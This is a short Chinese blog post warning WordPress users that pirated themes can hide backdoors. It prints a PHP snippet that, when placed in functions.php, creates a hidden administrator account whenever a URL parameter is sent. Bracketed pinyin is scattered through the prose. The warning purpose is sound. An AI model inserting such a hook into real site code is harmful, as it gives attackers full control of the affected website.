WordPress盗版主题暗藏后门

WordPress盗版主题暗藏后门

wordpress 2024-9-22编辑：深圳网站建设阅读（） WordPress 暗藏 后门

前言

俗话说的【de】好天【tiān】下没有免费的午餐，你要相【xiàng】信没有人傻【shǎ】到做亏本生意，都【dōu】是【shì】会有目的性的。最近我在网上【shàng】看到一篇文章，写【xiě】了WordPress的暗藏后门【mén】，觉得很有一说，所以就发一下让【ràng】更多【duō】的WP友友们【men】看到，不要轻易随便乱使用【yòng】模板【bǎn】。

后门代码

add_action(‘wp_head’, ‘holeinthewall’);
function holeinthewall() {
If ($_GET[‘backdoor’] == ‘go’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘username’)) {
$user_id = wp_create_user(‘username’, ‘password’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}}}

由【yóu】以上【shàng】的代码我们可以看出，如果把这段代码插入到你的主【zhǔ】题函数文件functions.php中的话【huà】，然后就会自动【dòng】创建一个【gè】用户名为username，密【mì】码为【wéi】password的有管理员权限的账户【hù】，然后恶意人员【yuán】就可以登录【lù】到你的网站后台，后果【guǒ】你可以【yǐ】自己想【xiǎng】象【xiàng】一【yī】下。

所【suǒ】以憧憬博主在这里【lǐ】建【jiàn】议大家不要随便乱使用【yòng】WordPress的【de】盗版主题，支持正版，抵【dǐ】制盗版，尊重开发者的劳动成果【guǒ】。

• 上一章：WordPress付费会员制虚拟资源下载网站主...
• 下一章：WordPress VIP付费下载插件【jiàn】Erphpdown v...